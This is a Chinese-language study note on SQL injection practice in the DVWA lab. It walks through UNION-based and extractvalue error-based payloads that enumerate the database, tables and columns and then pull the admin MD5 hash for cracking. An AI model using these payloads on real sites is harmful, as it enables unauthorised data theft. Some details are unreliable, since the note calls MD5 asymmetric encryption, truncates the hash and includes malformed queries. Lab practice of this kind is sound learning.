注入存在及类型判断说明
数字型注入还是字符型注入的判断记录一下:
这个dvwa靶场,前端会把代码加’‘传到后端,后端数据库本身是数字型,但因为前端加了’‘所以也可以当作是字符型注入;测试代码
注入确认存在
1 正常回显;
1' 报错:大概率的确有和数据库交互导致存在注入OR程序本身报错;
1 and 1=1 正常不报错;如果没有注入是查不到结果的,但是有结果了,说明被传到了数据库后面形成了完整的sql语句;
注入类型判断
如果是数字型注入:
1,1 and 1=1,1 and 1=2,前两个正常显示,后面那个报错不显示。
如果第三个没报错,也显示,初步判断为字符型注入,接着测试:
1' , 1' and 1=1, 1' and '1'='1 前两个都报错,
基于下面这个理念:
从查询字段的角度看:数字型、字符型;
从查询方式:union注入、堆叠注入;
从回显方式:报错、盲注;
这里联合注入也🆗,报错注入也🆗的——针对(SQL Injection)模块;
好,那现在看到这个页面,假设我一无所知。。。
那我首先是判断数据库管理系统是不是mysql:用很多扫描工具就能扫出来了,像nmap,因为nat模式虚拟机运行的镜像主机扫不到,换成桥接模式分配主机ip才可行,重启虚拟机麻烦就不演示了(应该没问题的吧..)
联合注入(UNION ALL)
判断列数(order by)、 显示位:
通过前端页面显示,除id回显了两个值,有显示位满足联合注入的俩条件之一了;
(没显示位,就是没有把交互结果给我,像什么都没给的只会刷新页面或者是“感谢我的提交”,就会用到时间盲注了;除了有没有这个问题,还有够不够这个问题,就是后端查到列数大于页面显示列数嘛;)
两个值分别是First_name和Surname;这里我没法判断是否有第三个或者更多的值是不提供给用户的,因为不能根据前端返回内容猜测数据库查询列数!
控制左右两边查询列数一致是联合注入的第二个条件;
那我要怎么保持他一致呢?可以利用order by column列数查询:1' order by 1(2、3、4、5....)#
order by 1就是按照就是指定第一列进行首字母以ascii值进行大小排列;当你执行的列数报错时说明列数就到此为止了嘛;
这里其实靶场也很明显的告诉了我错误:SQL syntax;
到3这没了,说明返回列数为2,刚好也和他的显示位对上了;用union all时控制右边也是两个值就🆗了;
然后看看输入进去的和后端反馈的前端的位置是咋样的:1’ union all select 1,2#(sql语句支持这样无意义的查询的)
哦~原来是这样对应的,再提醒一下:first_name和Surname在后端数据库不一定就是这个名昂;
库名获取
1' union all select database(),version()#
表名获取
返回数据库名和版本信息了,接着查dvwa库下的所有表名;
(记得不管version信息会不会显示,union all都要保持两边列数一致,该输还得输;显示位不足就换位查询嘛,前面查完了后面往前移,适合页面显示位少的情况,不然移位也挺累的,这就扯到下面这个函数)
提到这个函数:group_concat:
information_schema这个数据库记录了所有数据库的库名表名字段名;不细说了;
1' union all select table_name,2 from information_schema.tables where table_schema='dvwa'#
如果显示位不足,可以利用group_concat:(同一列中的多行合并成同一行)
1' union all select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa'#
字段名
1' union all select group_concat(column_name),2 from information_schema.columns where table_schema='dvwa' and table_name='users'#
然后这些user_id、first_name、last_name、user、password、avatar.....字段名都出来了;
字段值
照葫芦画瓢,查字段值?
no,表名字段名都有了,直接select查了;
or
额,看不见了都,不过不影响,选定复制还是都有的;
注入结束
得到的密码是md5加密的密码,16字节的散列值,非对称加密哦,得撞库哦,百度吧,简单的话还不用付费:MD5免费在线解密破解_MD5在线加密-SOMD5
" 毛病:老是把union all写成and;"
报错注入
原理
利用数据库报错是否存在注入点、不符合数据库语法规则就会产生错误,因为在函数语法规则报错中会解析该语句;
像输入1' 会报错,但他不符合上面那个条件,所以这种类型报错没用;
sql操作语法的报错:
基于mysql(>5.0版本)添加了对xml文档查询修改的函数,extractvalue()这个函数常被用户报错注入;这里什么是xml文档我也不了解(通常就是些配置文件),但这不重要;
通常对其构置这两个函数:extractvalue(name_string,path_string)这是他的使用规则,忤逆他就🆗了?
1 and extractvalue(1,2) ----为什么不能留空,你得满足这个语句的语法格式啊,不能让他空着咧。为什么不是字符串呢?数字也🆗的嘛,存在隐式转换,这是mysql的容错处理:
正常哦,那试试这个
1' and extractvalue('~',2)#
(这里用了引号当然是因为~既不是关键字,也不存在隐式转换呗;至于为什么是~,其他的也🆗类似!)
正常
哦豁,错误,还和那个sql语句报错不一样,这个是函数语法的报错:
原因是写路径的地方我写个~,路径不会有这个东西的;
现在找到了这个符合报错注入的东西了,怎么用呢:
1.首先考虑到mysql对函数调用可能存在的过滤,将'~'转换成十六进制0x7e;报错一样的;
2.因为知道select 0x7e;return ~;所以联想到把0x7e换成database()是不是也能正常返回值,经过尝试,发现返回空,没报错都,所以这个0x7e不敢丢,直接加也不行,加逗号也不行(两个位置放3个参数),怎么合在一起,把两列变成一列?
想到什么那个group_concat是合并行,合并列的语句是:concat(a,b)
库名
1' and extractvalue(1,concat(0x7e,database()))#
"成了!道爷!"
结合联合注入学到的information_schema的知识:
1' and extractvalue(1,concat(0x7e,(table_name from information_schema.tables where table_schema='dvwa')))#
表名
说我的报错信息超过1行了(单是那个查表名的语句就有3行了,我想装在报错语句里就不行了),那我加个count,先看几表数,变成
1' and extractvalue(1,concat(0x7e,(count(table_name) from information_schema.tables where table_schema = 'dvwa') ))#
sql语句报错,尴尬了,语句前要加select;
1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema = 'dvwa') ))#
2行;
函数:limit m,n ;
m是我想要的开始位置,不写默认0;从m+1行开始取n行数据;
那就可以加limit 1;还有limit 1,1;两条就写出来了;实际遇到很多的就慢慢来咯,一个一个搞;
这里我就取一个示范;
表名:users
字段名
和上面一样的
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1)))#
好,查数据现在;
1' and extractvalue(1,concat(0x7e,(select user,password from users where user_id =1)))#
只能一列哇;
也就是说后端返回有很多列咯,那可以用concat合并列;当然一列一列查也🆗的;
1' and extractvalue(1,concat(0x7e,(select concat(user,password) from users where user_id =1)))#
返回用户和密码咧;
OR
1' and extractvalue(1,concat(0x7e,(select password from user_id=1)))#
分开得到user和password;
但是这里有个问题,报错位数只会有32位,密码可能不完全;
那就先判断密码长度:
1' and extractvalue(1,concat(0x7e,(select length(password) from users limit 1)))#
32位,还差一位
那可以用substr函数限定位置:
select substr(abc,m,n) from user 从abc里的字段 的第m位就开始取,取n个 m是负数就从后往前取
1' and extractvalue(1,concat(0x7e,(select substr(password,32,1) from users where user_id=1)))#
得到9;
加上前面的就是
注入结束
admin 5f4dcc3b5aa765d61d8327deb882cf9
这个md5加密的玩意自己撞库了得;
重新介绍一个updatexml(XML.name,xpath,value) 1,3是文件名,2是路径,所以是对二进行报错注入,和上面一样的;